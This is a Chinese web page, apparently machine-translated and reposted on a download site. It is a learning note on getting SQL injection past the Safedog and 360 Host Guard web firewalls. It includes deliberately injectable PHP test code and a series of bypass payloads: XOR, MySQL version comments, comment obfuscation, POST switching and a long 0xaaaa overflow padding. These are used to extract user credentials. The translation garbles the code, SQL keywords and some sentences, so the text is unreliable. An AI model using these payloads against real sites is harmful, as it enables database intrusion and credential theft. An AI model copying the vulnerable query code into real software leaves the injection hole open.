当前位置:萝卜系统下载站 > 电脑学习教程 > 详细页面

0x01环境搭建测试环境(一):SQL注入Bypass的过程_病毒安全_

0x01环境搭建测试环境(一):SQL注入Bypass的过程_病毒安全_

更新时间:2023-07-09 文章作者:未知 信息来源:网络 阅读次数:

随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。

0x00前言

这类物品很多。本文主要作为学习笔记来记录SQL注入旁路的学习过程。同时,前人的很多绕过方法都失败了,所以这里也有一些绕过方法来记录最新的规则

0x01环境建设

测试环境:win7+Apache+MySQL5.7.26+PHP5.5.45

测试代码:

if($GET['id']==null){$id=$POST['id'];}

else{$id=$获取['id'];}

$con=mysql\uconnect(“localhost”,“root”,“root”)

如果(!$con){die('无法连接:'。mysql_uuerror());}

mysql\uuselect\udb(“dvwa”,$con)

$query=“从user_uid='$id';'的用户中选择first_uuName,last_uuName;”

$result=mysql\uquery($query)或die($query)

[k4号]

')

while($row=mysql\fetch\array($result))

你知道吗{

回显$行['0']。”&;nbsp”$行['1']

“回音”

}你知道吗

“回音”

echo$查询

mysql\ close($con)

上面的测试代码是参考了一篇关于安全客户的文章,但是为了方便测试,在原来的代码中增加了后参数传输功能,代码来源于本文的第2条

为了便于下一次测试,您需要在本地安装DVWA。至于代码中的其他参数,如地址、用户名、密码,您可以根据本地配置进行修改

如果此代码仅使用post方法传输参数,则页面将输出错误信息。如果您不希望它输出错误信息,可以修改php.ini文件中的显示。如果errors关闭,请重新启动Apache

访问本地构建范围的地址,如下图所示,它是成功的。其中,192.168.38.132需要更改为您自己的目标IP地址

0x02安全狗

1、构建

我下载的是windows Apache v4.0版本和2019年11月27日的更新规则

在安装安全狗时,如果您不知道要填写什么服务名称,可以查看参考文章5

如果使用phpstudy8.0或更高版本,可能在系统服务中找不到Apache的服务名称,建议使用8.0以下版本,如phpstudy 2018,然后将运行模式设置为“系统服务”。别问我怎么知道

设置完成后,我们构造SQL注入语句,判断注入点,访问目标网站,网站有一个安全狗提示,这意味着我们已经设置了

#39岁;和'1'='1

2、找条路绕过去

'和'1'='1

多次测试发现,单引号不会被截取,也不会被截取。只有在and之后添加and和'1'等字符时,才会截获它,因此下一步主要是绕过and的测试

通常,如果和被截获,则可以绕过以下字符

主机卫士 安全狗_主机卫士 安全狗_360网站卫士 安全狗

+、-、*、%、/、| |、|、&;、&;和amp

或者使用Or来绕过,或者直接使用XOR来绕过

^,异或

因为我下载的版本的规则是最新的,所以我参考了使用&;的文章;替换和的方法已失败。经过多次测试,XOR可以绕过安全狗,判断注入点

“异或”1

接下来,使用unionselect查看名和用户名

'联合选择(),用户()'

如果你直接这样做,你肯定会被拦截,所以下一步,想办法绕过它

答。使用()而不是空格

'联合选择(()),(用户())'

数据或函数可以无限嵌套

b。使用MySQL features//Execution语句

'联合/*!50010选择*/(database()),(user())'

/!/中间代码可以执行。50010是MySQL的版本号。只要MySQL比这个版本大,就会执行其中的代码

c。使用/**/混淆代码

'联合/**//*!50010选择*/(/**/()),(用户/**/())'

不能在MySQL关键字中插入/*/,即Se/**/select将报告错误,但可以在函数名和括号之间添加/**/。可以执行像database/**/()这样的代码

事实上,我的保护规则是在2019年11月27日更新的,所以即便如此,还是不能绕过。然而,由于安全狗对get的过滤比post更为严格,测试后发现post可以被绕过

您可以看到post方法可以被成功绕过。除了以上三种方法外,有时还会产生意想不到的效果

知道旁路方法,你可以找到用户名和密码的所有方式

'联合选择用户,来自用户的密码'#

经过测试,我们发现在post方法中,添加一个括号可以绕过安全狗,这足以看出安全狗对于post方法的过滤有多松懈

'联合选择用户,密码来自(用户)#

有很多方法可以绕过。这是安全犬的记录。我们来看看360主机卫士吧

0x03 360主机防护

1、构建

360曾经有一个360主机卫士,但现在已经停止更新和维护,官方网站无法打开,所以只能从第三方网站下载。我在这里下载了版本2.0.5.9

虽然360主机卫士已经停止更新,但仍然可以用来练习

下载后,请访问“1”和“1”。如果发现它已被截获,返回的内容将如下所示,表明它已成功构建

2、找条路绕过去

'和'1'='1

经过多次测试,我们使用;它可以通过使用异或来绕过

接下来,让我们看看如何绕过union select

'联合选择(),用户()'

经过多次测试,发现它可以被缓冲区溢出绕过,但只有在post方法下才有效

'和(选择1)=(选择0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

0x04工具

说到SQL注入工具,我觉得必须提到shack2的超级SQL注入工具。鉴于上述缓冲区绕过的情况,使用该工具进行SQL注入非常方便

将burp中的数据包复制到工具中。在注入标记并对标记进行编码之后,就可以得到数据了。如果你不明白如何标记注射点,你可以看看教学视频和文档的工具,使它更容易理解

至于其他更复杂的旁路,如上述安全狗旁路,也可以使用该工具的喷油旁路模块。当然,可以使用sqlmap的tap脚本。目前,本文将在此记录


本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-373942-1.html


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。

温馨提示:喜欢本站的话,请收藏一下本站!

本类教程下载

系统下载排行

网站地图xml | 网站地图html